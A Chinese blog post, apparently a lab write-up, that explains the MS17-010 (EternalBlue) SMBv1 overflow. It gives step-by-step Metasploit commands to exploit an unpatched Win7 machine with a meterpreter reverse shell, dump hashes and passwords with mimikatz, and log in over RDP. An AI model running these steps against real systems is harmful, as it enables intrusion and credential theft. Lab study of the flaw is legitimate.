一、漏洞原理
MS17-010漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。
函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。
二、影响版本
Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
三、漏洞利用
在现在来说永恒之蓝漏洞算是有点老的漏洞了,Metasploit上已经有集成payload了,但是其危害确实是很大的,因为只要用它打进去似乎直接就是system权限,所以还是拿出来复现了一下。这里我搭的环境是win7,之前用过winxp做环境,结果也是一样的(直接system)。本来这次是打算用win8作为实验环境的,但是在最后用payload去exploit的时候一直回显超时(但是攻击机是ping得通win8机子的,并且扫描模块也显示搭的win8有cve-2017-0143漏洞),所以就换成了win7。不管是用哪种操作系统做环境,前提都要是没打cve-2017-0143漏洞的补丁的,不然怎么样都是白搞。
1.环境
攻击机:kali(192.168.123.31)
目标机:win7(192.168.123.79)
2.漏洞利用
端口扫描查看目标机开455端口没,没开就不用考虑下一步了nmap -sS 192.168.123.79

然后就是直接启用msf,去查cve-2017-0143的集成模块search cve-2017-0143

然后先用扫描模块扫描一下目标机的永恒之蓝漏洞能不能用
use auxiliary/scanner/smb/smb_ms17_010
该设置什么参数就都设置上

是能看到目标机上的永恒之蓝漏洞是可以利用的,接下来就是使用攻击模块了
use exploit/windows/smb/ms17_010_eternalblue
同时选择载荷(shellcode),我用的是回连至客户端(shell)的payload
set payload windows/x64/meterpreter/reverse_tcp
然后就是该配置啥参数就配置啥参数

这里我用的本地监听端口是8888,默认是4444,然后直接run就行了

这里能看到进来直接就是system权限。
3.如果目标机还开了3389端口的话,还可以尝试去获取用户登录密码。
先用hashdump获取hash值。
mimikatz是一个知名的密码提取神器。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证等,meterpreter中正集成了这款工具。
执行load mimikatz即可加载该工具,然后运行命令msv,导出hash

然后执行kerberos就能拿到用户登录密码了

拿到用户登录的账户密码就可以尝试远程连接了,如果连接请求被拦截了,可以尝试将端口转发到攻击机的本地端口进行连接
rdesktop 127.0.0.1 -u 用户名 -p 密码
然后就能弹回目标机的桌面了。
本文详细解析MS17-010漏洞原理,涉及Windows SMBv1内核态函数处理FEA转换时的缓冲区溢出问题。涵盖受影响的Windows版本,演示了如何在未打补丁的Win7环境下利用Metasploit进行攻击,获取system权限,以及通过mimikatz提取hash值和用户密码。
9426

被折叠的 条评论
为什么被折叠?



